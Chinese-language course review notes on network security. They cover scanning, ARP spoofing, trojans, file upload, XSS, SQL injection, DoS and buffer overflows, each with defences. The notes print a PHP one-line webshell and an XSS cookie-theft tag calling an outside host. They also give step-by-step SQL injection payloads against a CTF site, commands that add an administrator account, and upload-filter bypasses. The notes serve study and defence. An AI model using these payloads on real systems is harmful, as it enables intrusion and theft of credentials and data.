网络安全技术复习总结
1|0第一章 概论
1.网络安全发展阶段包括四个阶段:通信安全、计算机安全、网络安全、网络空间安全。
2.2017年6月1日,我国第一部全面规范网络空间安全的基础性法律《中华人民共和国网络安全法》正式实施。
3.2021年 6月10日,《中华人民共和国数据安全法》正式发布,9月1日起施行。
4.2021年8月,十三届全国人大常委会第三十次会议表决通过《中华人民共和国个人信息保护法》,于2021年11月1日起实施。
5.2014年每年9月为国家网络安全宣传周
6.网络安全问题起因
内因:
设计缺乏安全考虑
实现有意无意留下bug
默认配置缺乏安全考虑
管理存在弱口令,内部人员无意或恶意操作
外因:
非人为(非故意),自然灾害等
人为(非故意),误操作
人为(故意)
7.几个网络安全基本要素 :
保密性
完整性
可用性
可控性
不可否认性
8.网络安全的特点
系统的安全
动态的安全
无边界的安全
非传统的安全
2|0第二章 网络安全攻击与防护
2|12.1网络安全攻击概述
2|22.2 信息收集
1.信息收集方法
1.技术手段
(1)网络信息挖掘
GoogleHacking:利用google搜索引擎的语法查询
Whois查询:查询已注册域名的所有者信息
指纹识别:识别网站、操作系统等的特征码
CMS 文章系统或整站系统
CMS指纹就是应用程序在html、js、css含的一些特征码
(2)网络扫描技术
2.社会工程学
2|32.3扫描技术
1.主机扫描
利用ICMP进行主机扫描
ping 127.0.0.1 ping不同表明本地TCP/IP不能正常工作
C:\Users\14617>ping www.sicnu.edu.cn
正在 Ping www.sicnu.edu.cn [222.196.238.5] 具有 32 字节的数据:
来自 222.196.238.5 的回复: 字节=32 时间=78ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=14ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=38ms TTL=61
来自 222.196.238.5 的回复: 字节=32 时间=13ms TTL=61222.196.238.5 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 13ms,最长 = 78ms,平均 = 35ms
2.端口扫描
向目标主机的各个端口发送连接请求,根据返回的响应判断是否开放
TCP connect扫描:使用socket创建套接字,利用三次握手协议来判断目标端口是否存活
优点:实现简单,扫描速度快
缺点:会在logs文件留下出错信息
防护:黑名单机制,如果某个IP多次连接到设备的不同端口,则加入黑名单
SYN扫描:与TCP扫描类似,只是第三步发送RST拒绝连接
优点:比TCP connect扫描隐蔽一些,不会留下扫描痕迹
缺点:扫描需要有root权限
TCP FIN扫描:发送带有FIN标识和端口号的数据包给服务器,通过服务器的反馈情况判断端口号的开放状态
情况 服务器响应 端口状态 1 没有响应 开放 2 RST数据包 关闭 3 ICMP数据包 数据包被过滤
UDP端口扫描:向目标UDP端口发送一些随机数据
服务器响应 端口状态 ICMP端口不可达 关闭 UDP报文 开放 缺点:可靠性不高,需要root权限
3.漏洞扫描
通过远程检测目标主机TCP/IP不同端口的服务,记录目标的回答,从而检验系统是否有可能被攻击奔溃
步骤:探测存活主机=》端口扫描=》判断操作系统=》网络服务扫描=》漏洞特征库匹配探测
4.扫描工具的使用
Nmap、X-Scan、Super Scan
nmap的一些命令
nmap -sP 192.168.230.0/24 扫描C段存活主机
nmap -p- 192.168.230.201 扫描该主机下开放的端口和服务(-p-可省略)
nmap -sV 192.168.230.201 扫描该主机下开放的端口和服务的版本
nmap -p 100-600 192.168.230.201 扫描该主机在100-600端口下开放的端口和服务
nmap -sn 192.168.230.0/24 扫描指定范围内的主机且不进行端口扫描
2|42.4 社会工程学
1.概念
通过对受害者的弱点进行欺骗等危害手段的手法
2.攻击形式
1.收集敏感信息
2.网络钓鱼攻击
3.密码心理学攻击
3.防范措施
1.不要点击通过短信、电子邮件、qq好友发送的连接
2.自己输入网站网址
3.看清网站信息
4.用好qq本身的反钓鱼功能
2|52.5 暴力破解
1.概念
由于服务器端没有做字典,可以通过密码字典进行暴力枚举
2.爆破工具
hydra、Hydra、BruteSpray、burp suite
3.暴力破解防范
1.设置复杂密码
2.验证码认证
3.对尝试登录行为进行判定和限制
4.采用双因素认证
3|0第三章 内网渗透及加固
3|13.1 模拟内网渗透
1.相关流程
\
2.相关net命令
net user 显示用户账号信息
net user hack 123456 /add 添加用户
net user alice /del 删除用户alice
net localgroup 显示本地组
net localgroup administrators hack /add 将hack添加到本地组administrators
net share 显示共享资源
net share c$=c:/grant:hack,full 开启c盘完全共享权限给hack
net share c$ /del删除共享
net share sharename=folderpath /grant:username,permissions
sharename: 要创建的共享名称
username : 可以访问共享该文件夹的用户ID
permission: 访问共享文件夹的权限:Read, Change or Full
3|23.2 主机安全加固
1.漏洞扫描
首先扫描开放端口和服务,获得系统弱口令
然后进行测试:
1.建立非空连接
2.通过NetBIOS获得主机信息
3.telnet远程登录目标机
4.ftp://目标机
2.安全加固
1.弱口令管理
2.关闭不必要的服务
如禁用默认共享,telnet,ftp,NetBIOS服务等
3.关闭不必要的端口
如关闭445端口
4|0第四章 网络嗅探与ARP欺骗
4|14.1网络嗅探
1.网络嗅探概念
主要用于分析网络上的数据包,监视网络流量、状态,数据等信息
是一种被动攻击行为,具有隐蔽性
是一把双刃剑,管理人员可以通过管理工具监视网络状态,数据流程已经网络上的信息传输;黑客常用于获取敏感信息。
2.网路嗅探的原理
1.嗅探前提
(1)网卡设置为混杂模式
(2)同处在一个广播式局域网内
关于网卡的工作模式
一般模式:只接收目的MAC地址为本机的数据包
混杂模式:都接收
关于局域网传输技术
广播式:使用集线器(Hub),将收到的数据包广播放送给局域网内部的所有主机
交换式:使用交换机,将收到的数据包点对点地发送给目标主机
3.嗅探工具
Linux:Wireshark、Netsniff-ng、Msfconsole等
Windows:Wireshark、Sniffer等
4|24.2 共享式网络下嗅探
1.共享式网络下嗅探应用
2.网络嗅探的危害
1.敏感信息泄露
2.被动攻击,难以察觉
3.应对策略
数据加密
使用加密协议
多划分VLAN
交换式网络
4|34.3 交换式网络下的嗅探与ARP欺骗
1.交换式网络嗅探实现
1.交换式嗅探的基本思想:引诱数据包流经嗅探网卡
2.交换式网络嗅探的手段:ARP欺骗、交换机MAC地址表溢出、MAC地址伪造、ICPM重定向
2.ARP欺骗的原理
ARP协议,即地址解析协议,将根据IP地址转换为物理地址
缺陷:当IP地址的物理地址不在ARP缓冲表中时,将广播发送询问该IP地址的物理地址的数据包,并不对返回数据包的真假做出辨别
其基本原理是攻击者利用 ARP 协议的缺陷,发送 ARP 响应报文,把网关对应的 MAC 地址变成欺骗
的 MAC 地址,从而导致网络中断或数据劫持的目的。
1.ARP欺骗攻击:打乱IP=》MAC映射关系
2.ARP欺骗攻击方式:欺骗网关、欺骗主机
ARP欺骗主机-信息不可达
ARP欺骗主机-信息流经攻击者
ARP欺骗主机-信息流经攻击者
3.ARP欺骗实现网络嗅探
1.实现交换式网络下的嗅探
2.实现网页替换
4.ARP欺骗防护
ARP欺骗的原因主要是:ARP协议缺陷和局域网内部
1.使用静态ARP表,禁止自动更新ARP表
arp -d //清空ARP表
arp -s IP MAC //IP/MAC静态绑定
2.安装ARP防火墙或使用ARP监视工具
3.也可以在交换机上设置访问控制,对于所有流经交换机但 IP 地址和 MAC 地址与网关不匹配的情况进行过滤
5|0第五章 木马攻击与防护
5|15.1 木马
1.木马的概念
一种具有C/S结构的,隐蔽的远程控制程序
2.木马的特点
1.欺骗性
2.隐蔽性
3.非授权性
病毒的特点:隐蔽性、传染性、潜伏性、破坏性、繁殖性
木马 病毒 传染性 无 有 破坏性 本身不带 本身具有 目的 非授权访问 破坏程序或系统
3.木马的危害
1.赤裸裸受监视
2.敏感信息机密泄露
3.数据丢失系统破坏
4.成为“肉鸡”,成为跳板
4.木马的种类
功能分类:
远程访问型、键盘记录型、密码发送型、破坏型、代理型、FTP型、下载型
实现技术分类:
DLL型木马、反弹端口型木马
5.木马的发展
第一代 最原始的木马程序
第二代 代表:冰河
第三代 反弹端口(灰鸽子)
第四代 进程隐藏:广电男生
第五代 驱动级木马
第六代 黏虫技术类型和特殊反显技术类型
5|25.2木马攻击与防护
1.木马的攻击过程
1.配置木马
木马伪装:修改图标、捆绑文件、定制端口、自我销毁
信息反馈
2.传播木马
欺骗 途径:QQ、邮箱、下载软件等
主动攻击 途径:获得服务器的文件上传权限,上传木马、网页挂马(iframe标签)
网页木马
3.启动木马
等待主动运行/设置触发条件
4.建立连接
服务器端安装了木&&两端都在线
5.远程控制
2.木马的隐藏技术
基本思想:窗体隐藏+文件隐藏
第一代: Windows 98
第二代: 进程插入 三种方式:注册表插入DLL、Hook插入DLL、远程线程函数插入DLL
3.木马的防护
1.个人木马防治
控制源头:不随意下载或打开来自不信任网站、QQ和邮件上的文件
防护:安装杀毒软件和个人防火墙,并及时升级
2.个人查杀木马
查看有无陌生进程、有无非自身安装的服务、查看注册表
6|0第六章 web木马
6|16.1 Web木马
1.Web木马的概念
用web系统语言(ASP,PHP,JSP等)编写的木马,木马上传服务器当成页面被攻击者攻击,常当作后门。
2.Web木马危害
1.攻击者留后门
2.文件、数据库操作
3.修改web页面
3.Web木马的特点
1.Web木马可大可小
2.无法有效隐藏
3.具有明显的特征值
调用系统的关键函数如:eval,system,fopen,mysql_query
4.必须为可执行的网页格式
4.Web木马的分类
1.一句话木马
//php一句话木马 <?php @eval($_POST['hack']);?>//获得客户端提供的参数并执行 //@eval 执行后面请求到的数据 //$_POST['hack'] 获取客户端提交的数据 hack是密码 /* 变形方法 1.更换执行数据的来源 利用get方式 <?php $GET['a']($_GET['b']);?> a传入执行命令,b传入执行代码,PHP收到GET请求后相当于执行了一个assert函数,并把b作为参数 2.字符替换或特殊编码 3.采用隐匿手段 图片马,404页面 4.混合上述手段 */
2.小马
可为后期上传其他代码做准备
3.大马
文件管理,数据库管理,命令执行,提权
5.Web木马的防护
1.更新防护类工具
2.对服务器文件夹设置严格的读写权限
3.禁用敏感危险函数
4.定期观察系统服务器管理中的服务
5.定期检查是否有可疑进程
6.检查是否近期有可执行文件
7|0第七章 文件上传
7|17.1 文件上传漏洞
1.文件上传概念
文件上传漏洞是一种软件漏洞。是在动态网站或 Web 应用系统中,动态脚本对用户文件上传部分控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件,如:木马,病毒,恶意脚本或者 WebShell 等,进而危害服务器安全的软件漏洞。
2.文件上传漏洞的危害
1.非授权用户的越权访问
2.信息泄露
3.种下后门webshell
3.文件上传的条件
1.文件能上传到服务器
(1)web系统本身具有文件上传功能
(2)程序未对用户上传的文件进行合法的检验
2.文件能被当成脚本文件执行
(1)上传文件的后最应是可执行格式
(2)存放上传文件的目录具有可执行的权限
3.能找到上传后的文件路径即文件名
4.目标文件可被访问
4.文件上传的防护
综体思想:确保上传文件不会被服务器解析成可执行的脚本,进而引发偏离功能设计以为的后果
1.不能上传:加强文件合法性检测
客户端验证:javascript对扩展名检测
服务端验证:MIME检测(文件头Content-type检测)、扩展名检测(黑名单/白名单)、文件头内容校验
2.不能被执行:阻止上传文件执行
使用代理页面隐藏真实路径,使用户找不到文件
对上传文件在服务器上的存储时进行重命名
5.文件上传漏洞原因
1.文件过滤不严或被绕过
2.文件解析漏洞导致文件被执行
3.文件路径截断
4.服务器配置不当及系统特性
6.文件上传漏洞利用
1.javascript对扩展名检测绕过
(1)禁用浏览器JavaScript脚本执行
(2)抓包修改文件后缀名
2.服务器端MIME检测绕过
在HTTP协议中,会利用Content-type标识本次上传的内容类型
常见Content-type
text/html (html文档) text/plain(纯文本) text/css text/JavaScript image/jpeg image/png image/gif
3.服务器端扩展名检测绕过
黑名单过滤,白名单过滤
(1)抓包改包,修改文件后缀名
(2)Apache文件解析缺陷,添加不合法后缀
Apache1.x 2.x版本中,对文件名后缀从后往前绕过,比如1.php.zzz.abc会解析成为1.php
IIS6.0 服务队分号后面的扩展名不去解析,比如x.asp;.jpg会被解析成为x.asp
(3)文件路径截断
利用一些特殊字符\0,0x00被认为是中止符,使得服务器解析文件时候,文件名或文件路径会从\0处截断,从而控制文件名或文件路径,最终绕过文件后缀判断
例如 原本只允许上传JPG文件,可以构造文件名为xxx.php[\0].jpg,服务器解析时从\0截断,被成功解析成为xxx.php文件
(4)文件头内容校验绕过
getimagesize()函数进行验证
绕过方式:构造图片马
8|0第八章 XSS跨站脚本攻击
8|18.1 XSS跨站脚本攻击
1.XSS的概念
XSS 攻击通常指的是利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
xss是Cross Site Script的缩写,XSS攻击是一种客户端访问嵌入有恶意脚本代码的web页面,从而盗取信息利用身份等的一种攻击行为。
XSS漏洞是最广放,作用最关键的web安全漏洞之一。在大多数网络攻击中漏洞链的第一环,通过XSS,黑客可以得到的最直接的利益就说拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
1.xss的传播性极强,由于web的特点是轻量级,灵活性高,每个用户每天可以访问很多web站点,每个web站点都有成千上万的来访
2.xss配合一些系统内核级的漏洞,完全可能在几小时之内击垮几百万台智能设备
2.XSS的危害
1.盗取信息
2.控制企业数据
3.强制进行非法转账
4.强制发送电子邮件
5.网站挂马
6.控制受害者机器向其他网站发起攻击
3.XSS漏洞的攻击本质
1.恶意代码未经过滤,与网站正常代码混在一起
2.浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行
4.xss攻击过程
5.XSS攻击特点
1.间接攻击
最终目标是终端用户
2.可更正性
对用户输入的过滤不足
3.传播性强
攻击代码注入到目标网站,每个web站点每天有成千上万的访客
8|28.2 XSS攻击与防护
1.XSS分类
1.存储型xss
持久性,通过发表带有恶意跨站脚本的帖子,把恶意脚本存储在服务器中,每个访问该帖子的人都会除法该恶意脚本
2.反射型xss
非持久性,攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己取点击链接,从而触发代码执行
3.DOM型xss
基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM节点形成的XSS,该操作不与服务器进行交互,而代码是可见的,从前端获取到DOM中的数据在本地执行
只在客服端进行解析,不需要服务器解析响应
2.攻击过程
1.存储型
2.反射型
3.DOM型
三者区别
存储区 | 插入点 | |
---|---|---|
存储型 | 服务器数据库 | HTML |
反射型 | URL | HTML |
DOM型 | 前端存储 | 前端JavaScript |
3.攻击实例
1.盗取cookie
<sCRipt sRC=http://xss8.cc/tvW7></sCrIpT>
2.存储型 实现网站跳转
<script>location.href='http://127/0/0/1/xss.html'</script>
4.XSS攻击防范
1.攻击者提交恶意代码
输入过滤 Str_replace()替换函数 Preg_replace()执行正则表达式的搜索和替换 Strtolower()转换为小写字符 Trim()消除空格 Stripslashes()消除反斜杠
对HTML做充分转义 把& < > /这几个字符转义掉 htmlspecialchars() 将< > zuanhuan
9|0第九章 SQL注入
9|19.1 sql注入攻击
1.sql注入概念
攻击者把sql命令插入到web表单的输入域或页面请求的查询字符串,并且插入的恶意sql命令导致原有sql语句的作用发生改变,从而得到欺骗服务器执行恶意sql命令的一种攻击方式
2.sql注入的条件
1.用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的
2.用户输入的参数拼接到sql语句,且带入数据库查询,成为了要执行的代码
3.sql注入原理
4.sql注入规范
根本原因:过滤不严
安全设计原则:数据与代码分离
9|29.2 sql注入攻击
1.sql注入流程
(1)判断web使用脚本语言,发现注入点,并确定是否存在sql注入
(2)判断web系统数据库类型
(3)判断数据库中判断表及相应字段的结构
(4)构造注入语句,得到表中内容
(5)查询网站后台,得到管理员账号密码
(6)结合其他漏洞,上传webshell
(7)进一步提权
查找注入点=》查库名=》查表名=》查字段名=》查重点数据
2.sql注入分类
1.回显注入
mysql数据库的系统表
如果id = 1 and 1=1、id = 1 and 1=2的结果与id = 1一样则为字符型
如果id = 1 and 1=1结果与id = 1一样,id = 1 and 1=2结果异常则为整型为什么会出现字符型的返回均为正常呢?
大概率是因为对于字符型的解析问题,当前面的字符有结果后就不会执行后面
这里感谢rygg的耐心教学
--1.寻找注入点 http://ctf.seek2.top:41026/result.php?id=1'--如果报错说明存在注入点 http://ctf.seek2.top:41026/result.php?id=1'or 1=2--前者条件为假,后者条件为假 http://ctf.seek2.top:41026/result.php?id=1'or 1=1--前者条件为假,后者条件为真,返回应该为真,与上一条返回不一致说明存在---sql注入 --如果需要单引号闭合,则最后要加上#或者--+或者%23 --例如http://ctf.seek2.top:41026/result.php?id=1' order by 4 --+ --2.确定字段数order by http://ctf.seek2.top:41026/result.php?id=1 order by 4--返回真 http://ctf.seek2.top:41026/result.php?id=1 order by 5--返回报错 --由上确定字段数为4 http://ctf.seek2.top:41026/result.php?id=1 union select 1,2,3,4--找出回显字段对应关系 --3.依次爆:库-表-列 http://ctf.seek2.top:41026/result.php?id=1 union select database(),version(),3,4--爆数据库名和版本 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()--爆表名 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='union_injection'--爆列名 http://ctf.seek2.top:41026/result.php?id=1 union select group_concat(flag),2,3,4 from union_injection--爆字段
2.盲注 只有两种回显结果,没有数据库有效信息
分类1.布尔盲注2.时间盲注3.报错盲注
--布尔盲注 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41035/result.php?id=221101 and length(database()) = 5 --true 确定库名长度为5 http://ctf.seek2.top:41035/result.php?id=221101 and substr(database(),1,1) ='C' http://ctf.seek2.top:41035/result.php?id=221101 and substr(database(),2,1) ='S' --依次猜测第一二个字符为C,S 最后确定数据库名为CSSEC http://ctf.seek2.top:41035/result.php?id=221101 and substr((select table_name from information_schema.tables where table_schema='CSSEC' limit 0,1),1,1) ='a' --如果返回true 爆出CSSES的第一个表的第一个字符为a --依次爆出表名和字段名
--时间盲注利用sleep()或benchmark()等函数让MYSQL的执行时间变长 if(expr1,expr2,expr3)--等价于三目运算符expr1?expr2:expr3 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41038/result.php?id=221101 and if(length(database())=5,sleep(3),sleep(0)) --3秒后刷新表示数据库名长度为5 http://ctf.seek2.top:41038/result.php?id=221101 and if(substr(database(),1,1)='w',sleep(3),sleep(0)) --3秒后刷新表示数据库名第一位是w
--报错注入 Spath报错 updatexml(XML_document中符合XPath_string的值,XPath_string,new_value):用new_value替换XML_document中符合XPath_string的值 --1.寻找注入点 --与上述相同 --2.依次爆:库-表-列 http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //XPATH syntax error: '~CSSEC~' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ //XPATH syntax error: '~error_injection,member,platform' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='error_injection'),0x7e),1)--+ //XPATH syntax error: '~flag~' http://ctf.seek2.top:41041/result.php?id=221101' and updatexml(1,concat(0x7e,(select group_concat(flag) from error_injection),0x7e),1)--+
3.sql注入攻击的防护
sql注入思想:数据与代码分离
4.sql注入防护方法
1.参数类型限制
类型判定函数
参数常数限制
2.危险参数过滤
黑名单过滤 针对参数中的敏感字符进行过滤 如:union \ ' select
白名单过滤
参数转义 ?mysqli_real_escape_string($GLOBALS["__mysqli_ston"]),sid):
3.预编译处理
预编译语句,绑定变量
9|39.3 sqlmap使用
//get型注入 python sqlmap.py -u https://ctf.seek2.top:4105 //判断是否存在注入 python sqlmap.py -u https://ctf.seek2.top:4105 --dbs //查库名 python sqlmap.py -u http://ctf.seek2.top:41054/result.php?id=221101 --tables -D CSSEC//查表名 python sqlmap.py -u http://ctf.seek2.top:41054/result.php?id=221101 --columns -D CSSEC -T union_injection//查列名 //post注入 python sqlmap.py -r 1.txt //判断是否存在注入,其余操作一致 --cookie //cookie注入
10|0第十章 DOS攻击与防御
10|110.1 DOS攻击与防御
1.DOS攻击概念
Denial of Service 拒绝服务攻击
通常是利用传输协议中的某个弱点或服务器存在的漏洞,对目标系统发起大规模的攻击,使其无法处理合法用户的正常请求
原因:内因:网络协议的安全缺陷,外因:利益驱使的蓄意行为/偶然的
2.DOS攻击原理
利用合理的请求占用过多的服务资源,使得服务超载,无法响应正常服务请求
服务器资源:网络带宽、文件系统空间容量、开放的进程、允许的连接
3.DOS攻击方法
1.耗尽计算机资源,如贷款、内存、磁盘空间、处理器时间等
2.破坏配置信息,如路由信息
3.破坏状态信息,如TCP连接中断
4.破坏网络硬件
5.破坏通信介质,阻挡正常通信
10|210.2 DOS攻击技术
1.SYN Flood
1.SYN Flood是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽的攻击方式
2.两种攻击方式:阻断应答、伪装不在线的IP地址(可以随机生成IP地址)
3.防御:缩短SYN Timeout时间、设置SYN Cookie、设置半开连接数量
2.ICMP Flood
1.Smurf Flood即利用网络设备,伪造源IP地址,发送广播包,所有其他设备收到广播包后,返回ICMP数据包给该IP地址的主机(即被攻击机)
防御:配置路由器禁止IP广播包进网
2.Death of Ping
死亡之PING,发送一些尺寸超大的ICMP包
防御:禁止ICMP报文通过网络全安设备
3.Land 攻击
Local Area Network Denial Attack 局域网拒绝服务攻击
方式:发送具有相同源地址和目的地址的欺骗数据包
防御:防火墙拦截具有相同源地址和目的地址的欺骗数据包,操作系统修复漏洞,配置路由器
4.TearDrop攻击
Teardrop攻击是一种拒绝服务攻击,是一种针对IP协议的攻击方法,它利用发送畸形数据包的方式,实现原理是向目标主机发送异常的数据包碎片,使得IP数据包碎片在重组的过程中有重合的部分,从而导致目标系统无法对其进行重组,进一步导致系统崩溃而停止服务的恶性攻击。
防御:添加系统补丁、丢弃收到的病态分片数据包并对这种攻击进行审计
10|310.3 DDOS攻击
1.概念
Distributed Denial of Service 分布式拒绝服务攻击
利用合理的请求造成资源过载,导致服务不可用的一种攻击,是一种分布式、协同的大规模攻击方式
特点:利用若干个网络节点同时向目标发起攻击
2.攻击层次
分为攻击者、主控端、代理端
3.DDoS攻击的防御
1.抗DDOS产品:综合使用各种算法,结合攻击特征,流量清洗
2.抗DDOS的网络设备:串联或并联在网络出口处
4.CC攻击
1.概念及原理
Challenge Collapsar挑战黑洞
对一些资源消耗较大的应用页面不断发起正常请求,以达到造成消耗服务器端资源的目的
网络层DDOS攻击 | CC攻击 | |
---|---|---|
攻击对象 | 网站的服务器 | 网站的网页 |
攻击层次 | 网络层 | 应用层 |
2.CC攻击防范
1.优化服务器性能
应用代码性能优化、网络架构优化
2.限制请求频率
通过IP地址和Cookie定位一个客服端,针对过频繁访问,采取重定向页面
3.验证码机制
有效组织自动化重放攻击的有效行为之一
11|0第十一章 缓冲区溢出
11|111.1缓冲区溢出的攻击和保护
1.概念
缓冲出溢出是一种可更正性缺陷,向程序缓冲区写入超长内容,覆盖其他空间数据,宠儿破坏程序堆栈,照成程序崩溃或转而执行其他指令
缓冲区溢出是指程序运行时,向固定大小的缓冲区写入超过其容量的数据,多余的数据会越过缓冲区的边界覆盖相邻内存空间,从而造成溢出。一般情况下,缓冲区的大小是由用户输入的数据决定的,如果程序不对用户输入的超长数据进行长度检查,同时用户又对程序进行了非法操作或者错误输入,就会造成缓冲区溢出。
2.缓冲区溢出危害
1.程序崩溃
2.程序跳斩并执行恶意代码
3.缓冲区溢出原理
根本原因:对用户输入越界不保护
如:c语言种strcat(),strcpy()等函数
4.缓冲区溢出过程
5.缓冲区溢出防御
缓冲区溢出攻击条件:造成受害者的服务拒绝、提升权限
缓冲区溢出条件:shellcode载入、程序跳转到shellcode的地址
1.程序设计过程种
对于软件开发者:使用跟安全的函数
gets() vs fgets()
strcpy() vs strncpy()
sprint() vs snprint()
编译器的边界检查功能
2.对于个人用户
关闭不需要的特权程序
升级系统补丁
降低CMS权限
相关文章:
网络安全技术复习总结
1|0第一章 概论 1.网络安全发展阶段包括四个阶段:通信安全、计算机安全、网络安全、网络空间安全。 2.2017年6月1日,我国第一部全面规范网络空间安全的基础性法律《中华人民共和国网络安全法》正式实施。 3.2021年 6月10日,《中华人民共和…...
java 集合
Java集合框架(Java Collections Framework)是一个强大的工具库,旨在简化数据存储和操作的任务。它提供了一组接口、类和算法,帮助开发者高效地管理数据,如列表、集合和映射。下面是Java集合框架的详细介绍:…...
Java常见排序算法及代码实现
1、选择排序算法 选择排序(Selection Sort)是一种简单直观的排序算法,它的工作原理是每次从未排序部分选择最小(或最大)的元素,将其放到已排序部分的末尾。 2、冒泡排序算法 冒泡排序(Bubble…...
130,[1] 攻防世界 very_easy_sql
进入靶场 典型SQL注入页面 先查看源码 访问 试试http://127.0.0.1/ 还尝试了其他都是nonono 回归第一个登录页面 提交的内容不在url处显示,反而第二个url页面会在url处显示 明白第一个页面是通过post方式提交,反正没得到什么信息,去抓…...
Spring Boot从入门到精通:核心知识点+实战指南
目录 一、Spring Boot 是什么?为什么它如此流行? 二、快速创建你的第一个Spring Boot应用 2.1 使用Spring Initializr生成项目 2.2 核心代码示例 三、深度解析Spring Boot核心机制 3.1 自动配置原理揭秘 3.2 自定义Starter实战 四、生产环境必备…...
深入探索现代CSS:从基础到未来趋势
引言:CSS的进化之路 CSS(层叠样式表)自1996年诞生以来,已从简单的样式描述语言发展为构建现代Web体验的核心技术。截至2023年,超过98%的网站使用CSS3技术,其发展历程见证了Web从静态文档到富交互应用的蜕变…...
python-leetcode 23.反转链表
题目: 给单链表的头节点,反转链表,并返回反转后的链表。 方法一:迭代 在遍历链表时,将当前节点的next指针改为指向前一个节点。由于节点没有引用其前一个节点,因此要先存储前一个节点,在更改引…...
Foundation CSS 可见性
Foundation CSS 可见性 引言 在网页设计中,CSS可见性是一个至关重要的概念。它决定了元素在网页上是否可见,以及如何显示。Foundation CSS 是一个流行的前端框架,它提供了丰富的工具和组件来帮助开发者构建响应式和可访问的网页。本文将深入探讨 Foundation CSS 中的可见性…...
DeepSeek模拟阿里面试——java基本语法
为了全面准备阿里Java高级程序员的面试,以下是针对数据类型和变量、运算符、流程控制的系统性复习和准备策略: 数据类型和变量 基本数据类型 整数类型:byte(1字节)、short(2字节)、int…...
大模型基本原理(二)——ChatGPT的工作原理
如何得到一个ChatGPT? 1、无监督预训练:通过大量的文本数据集进行无监督训练,得到一个基座模型(只会续写文本) 2、监督微调:通过一些人类撰写的高质量对话数据对基座模型进行监督微调,得到一个…...
TensorRT 8.6.1教程1-TensorRT简介
区分计算节点和数据节点 视频 TensorRT 教程 | 基于 8.6.1 版本 | 第一部分_哔哩哔哩_bilibili cookbook...
Seaweedfs(master volume filer) docker run参数帮助文档
文章目录 进入容器后执行获取weed -h英文中文 weed server -h英文中文 weed volume -h英文中文 关键点测试了一下,这个-volume.minFreeSpace string有点狠,比如设置值为10(10%),它直接给系统只留下10%的空间࿰…...
深度求索(DeepSeek)的AI革命:NLP、CV与智能应用的技术跃迁
Deepseek官网:DeepSeek 引言:AI技术浪潮中的深度求索 近年来,人工智能技术以指数级速度重塑全球产业格局。在这场技术革命中,深度求索(DeepSeek)凭借其前沿的算法研究、高效的工程化能力以及对垂直场景的…...
探索RDMA技术:从基础到实践
1. 引言 在当今的高性能计算(HPC)和数据中心领域,数据传输的效率和速度至关重要。RDMA(Remote Direct Memory Access,远程直接内存访问)技术作为一种高效的网络通信机制,能够显著减少数据传输的延迟和CPU负载。本文将从基础到实践,详细介绍RDMA技术及其编程模型,帮助…...
Excel 笔记
实际问题记录 VBA脚本实现特殊的行转列 已知:位于同一Excel工作簿文件中的两个工作表:Sheet1、Sheet2。 问题:现要将Sheet2中的每一行,按Sheet1中的样子进行转置: Sheet2中每一行的黄色单元格,为列头。…...
Flutter编译运行android问题之JVM版本问题
错误1: FAILURE: Build failed with an exception. * What went wrong: Execution failed for task :audioplayers_android:compileDebugKotlin. > Inconsistent JVM-target compatibility detected for tasks compileDebugJavaWithJavac (1.8) and compileDebug…...
自动化遇到的问题记录(遇到问题就更)
总结回归下自己这边遇到的一些问题 “EOF错误”,获取不到csv里面的内容 跑多csv文件里的场景,部分场景的请求值为 1、检查csv文件里不能直接是[]开头的参数,把[]改到ms平台的请求参数里 2、有时可能是某个参数值缺了双引号的其中一边 met…...
解决 Flutter Device Daemon 启动失败问题的实践记录
解决 Flutter Device Daemon 启动失败问题的实践记录 最近在使用 Flutter 开发时踩了一个坑。看似是个小问题,但折腾了好久,最终通过日志分析和查阅资料才找到了解决办法。这里记录一下整个问题的排查过程,希望能帮助到遇到类似问题的小伙伴…...
中国通信企业协会 通信网络安全服务能力评定 证书使用说明
中国通信企业协会颁发的通信网络安全服务能力资格证书,是证明证书持有单位符合通信网络安全服务相应能力准则要求。证书持有单位在使用中国通信企业协会颁发的证书时,应遵守以下规定: 评定证书 证书持有单位必须遵守《中国通信企业协会通信网…...
《我在技术交流群算命》(三):QML的Button为什么有个蓝框去不掉啊(QtQuick.Controls由Qt5升级到Qt6的异常)
有群友抛出类似以下代码和运行效果截图: import QtQuick import QtQuick.ControlsWindow {width: 640height: 480visible: truetitle: qsTr("Hello World")Button{anchors.centerIn: parentwidth: 100height: 40background: Rectangle {color: "red…...
多项式插值(数值计算方法)Matlab实现
多项式插值(数值计算方法)Matlab实现 一. 原理介绍二. 程序设计1. 构建矩阵2. 求解矩阵方程3. 作出多项式函数4. 绘制插值曲线5. 完整代码 三. 图例 一. 原理介绍 关于插值的定义及基本原理可以参照如下索引 插值原理(数值计算方法ÿ…...
【AIGC】语言模型的发展历程:从统计方法到大规模预训练模型的演化
